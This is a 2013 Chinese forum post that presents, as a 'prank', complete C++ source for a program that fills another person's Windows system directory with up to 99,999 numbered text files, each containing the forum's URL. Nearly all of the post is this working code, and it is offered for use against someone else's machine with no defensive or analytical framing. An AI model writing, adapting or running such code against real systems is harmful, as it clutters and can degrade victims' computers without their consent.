曲径通幽论坛

标题: 一个往别人 Windows 目录里塞满文件的实例 [打印本页]

作者: easy    时间: 2013-7-11 22:54
标题: 一个往别人 Windows 目录里塞满文件的实例
这是一个恶作剧程序,原理很简单,代码如下:
[C++] 纯文本查看 复制代码
// ezj.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>
#include <string>
int main(int argc, char* argv[])
{
    char Path[MAX_PATH];
    char FileName[MAX_PATH];
    char Data[MAX_PATH]="www.groad.net";
    for(int i=0;i<99999;i++) //
    {
        //得到windows目录
        GetWindowsDirectory(Path, MAX_PATH);

        //用i的值加.txt来给文件命名
        wsprintf(FileName,"\\%d.txt",i);

        //给path赋以完整路径
        strcat(Path,FileName);

        HANDLE hFile;

        //创建文件
        hFile=CreateFile(Path,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
        if(hFile==INVALID_HANDLE_VALUE)
        {
            continue;
        }

        DWORD dwWrite;

        //把Data中的数据写入文件
        WriteFile(hFile,Data,strlen(Data),&dwWrite,NULL);

        //关闭文件句柄
        CloseHandle(hFile);
        memset(Path,0x00,MAX_PATH);
        memset(FileName,0x00,MAX_PATH);
    }
    return 0;
}





欢迎光临 曲径通幽论坛 (http://www.groad.net/bbs/) Powered by Discuz! X3.2